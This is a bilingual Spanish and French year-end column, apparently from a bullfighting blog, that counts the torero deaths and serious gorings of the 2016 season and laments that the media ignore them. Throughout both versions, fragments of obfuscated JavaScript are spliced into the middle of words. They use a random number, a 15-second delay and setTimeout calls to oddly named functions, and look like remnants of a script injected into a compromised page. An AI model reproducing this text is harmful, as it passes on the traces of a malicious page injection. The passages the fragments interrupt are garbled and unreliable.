EL TRIBUTO INVISIBLELE TRIBUT INVISIBLE

Como cada diciembre, me asomo a ese recuento de daños que configuran las páginas amargas que los toreros escriben con dolor y con sangre cada temporada. Es el inevitable y necesario tributo que el dios Tauro exige de sus oficiantes y que éstos están dispuestos a pagar, con la mente preparándose para ello desde el mismo momento en que hicieron suya la idea, la ilusión, el deseo, de vestir el traje de torero.

En este 2016, nada menos que 140 veces tuvo que intervenir la providencia cirujana tratandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando de evitar el triunfo de la muerte que los toros firmaron a cornadas. De ellas, tres resultaron infructuosas, pues El Pana en Ciudad Lerdo, el 1 de mayo; Renatto Motta en el peruano Maico, el 17 del mismo mes, y nuestro Víctor Barrio en Teruel, el 9 de julio, perdieron la vida a consecuencia de las cogidas que sufrieron mientras desempeñaban su profesión.

Hubo un cuarto torero muerto, aunque el hombre lograra salvar la vida. Me refiero al bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillero algabeño José Manuel Soto, gravísimamente herido el 20 de agosto en Peal de Becerro, a consecuencia de cuyo percance hubo que amputarle la pierna seis días después de sufrirlo.

Fue una de las cinco cornadas pronosticadas de muy graves por los facultativos a lo largo del año, de las cuales en tres –contandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la anteriormente citada– el certero derrote de los astados rompió esos caños de vida que componen las venas safena y femoral. Por ellas, en Madrid, el 12 de junio, se le iba la vida a borbotones al novillero Rafael Serna. Y en Alicante, trece días después, la roja savia del matador de toros Manuel Escribano dejaba su reguero de angustia por el ruedo de Alicante: cornada de tan serias secuelas que le ha impedido reaparecer hasta el momento, obligándolo a cancelar su temporada americana.

Otra, fechada el 26 de marzo y pronosticada de la misma forma, recibió en el transcurso de un tentadero el bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillero Juan Carlos de Alba en la cabeza. Y el 24 de julio, en Las Ventas, un novillo de Arauz de Robles le partía el pecho al novillero Pablo Belandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando. Era el décimo de los 13 percances sufridos por la novillería con picadores este año en Madrid, plaza en la que es preciso añadir otros siete sufridos por los integrantes del escalafón superior.

Sangre derramada, dolor aguantado con hombría, que no podremos ver reflejados en ninguno de los múltiples resúmenes del año característicos de estas fechas. En ellos seguro encontraremos los goles marcados en las distintas divisiones, los éxitos olímpicos, los premios literarios, las lesiones de los deportistas y todo lo que ustedes quieran, pero nada que tenga que ver con los toros, ni siquiera de este caro tributo que los medios de comunicación contribuyen a invisibilizar para que los indocumentados sigan confundiendo al toro de lidia con una inofensiva víctima sujeta al maltrato del hombre. Es el tributo invisible –tanto como el mismo toreo– que lo toreros pagan con la firmeza de sus convicciones. Ojalá acabe este año bisiesto y traicionero sin que se registre ni uno más; aunque es preciso entender y asumir que la cornada es algo consustancial a la propia esencia del toreo. No en vano uno de los principios en los que descansa el arte de la tauromaquia postula lo siguiente: para tener derecho a matar al toro hay que darle la oportunidad de que te mate.

Así ha sido hasta ahora y así seguirá siendo.

  ¡Felices Fiestas!

Comme chaque mois de décembre, je jette un regard à ce comptage des dommages des pages amères que les toreros écrivent avec douleur et sang chaque saison. C’est l’inévitable et nécessaire tribut que le dieu Tauro exige de ses officiants et que ceux-ci doivent être prêts à payer, préparés à cela dans leur tête dès l’instant où ils s’approprièrent de l’idée, de l’espoir, du désir, de porter l’habit du torero.

En cette année 2016, pas moins de 140 fois dut intervenir la providence chirurgicale tachant d’éviter le triomphe de la mort que les toros ont signé avec des coups de corne. Parmi elles, trois ont été infructueuses, car El Pana à Ciudad Lerdo, le 1 mai, Renatto Motta, dans les arènes péruviennes de Maico le 17 du même mois de mai, et notre Victor Barrio à Teruel, le 9 juillet, ont perdu la vie à la suite de ces coups de corne alors qu’ils faisaient leur métier. Il y eut un quatrième torero qui est mort, même s’il eut la vie sauve. Il s’agit du bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderillero de La Algaba, José Manuel Soto, très gravement blessé le 20 août à Peal de Becerro, à la suite il fallut lui amputer la jambe six jours après l’accident.

Ce l’une des cinq cornades diagnostiquées comme très graves par les médecins au cours de cette année, parmi lesquelles trois fois –dont celle que nous venons d’évoquer- les toros ont déchiré avec leurs cornes ces jets de vie que sont les veines saphène et fémorale. Comme c’est arrivé à Madrid le 12 juin, où le sang du novillero Rafael Serna coulait à flots. Mais aussi à Alicante, treize jours plus tard, où la sève rouge du matador Manuel Escribano imprégnait d’angoisse ces mêmes arènes d’Alicante : cornade aux séquelles si sérieuses qui l’empêchait jusqu’à maintenant de revenir, le tenant à l’écart de la saison américaine. Une autre date, celle du 26 mars avec un pronostic semblable, mais à la tête au cours d’une tienta avec l’accident de Juan Carlos de Alba. Et le 24 juillet, à Las Ventas, un novillo de Arauz de Robles brisait la poitrine du novillero Pablo Belandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando. C’était le dixième accident parmi les treize d’un novillero cette année à Madrid, des arènes où il faut rajouter sept autres de matadors de toros.

Du sang qui coule, de la douleur encaissée, que nous ne pourrons pas voir reflétés dans les multiples résumés de l’année si fréquents à cette période. On y retrouvera sûrement les buts marqués dans différents divisions de foot, les succès olympiques, les prix littéraires, les blessures des sportifs et tout ce que vous voudrez, mais rien sur la planète des toros, même pas ce cher tribut que les médias contribuent à rendre invisible pour que ceux qui n’y connaissent rien confondent le toro de combat avec une victime inoffensive maltraitée par l’homme. C’est le tribut invisible –tout comme la tauromachie- que les toreros payent avec la fermeté de leurs convictions. Pouvu que cette année bissextile et traître s’achève sans qu’on en registre aucun de plus ; même s’il convient de comprendre et d’assumer que le coup de corne est inhérent à l’essence même du toreo. Ce n’est pas en vain que l’un des principes sur lesquels repose l’art tauromachique est le suivant : pour avoir le droit de tuer le toro il faut lui laisser la chance qu’il vous tue. Il en a toujours été ainsi et il devrait l’être toujours.

Bonnes fêtes !

Los comentarios están cerrados.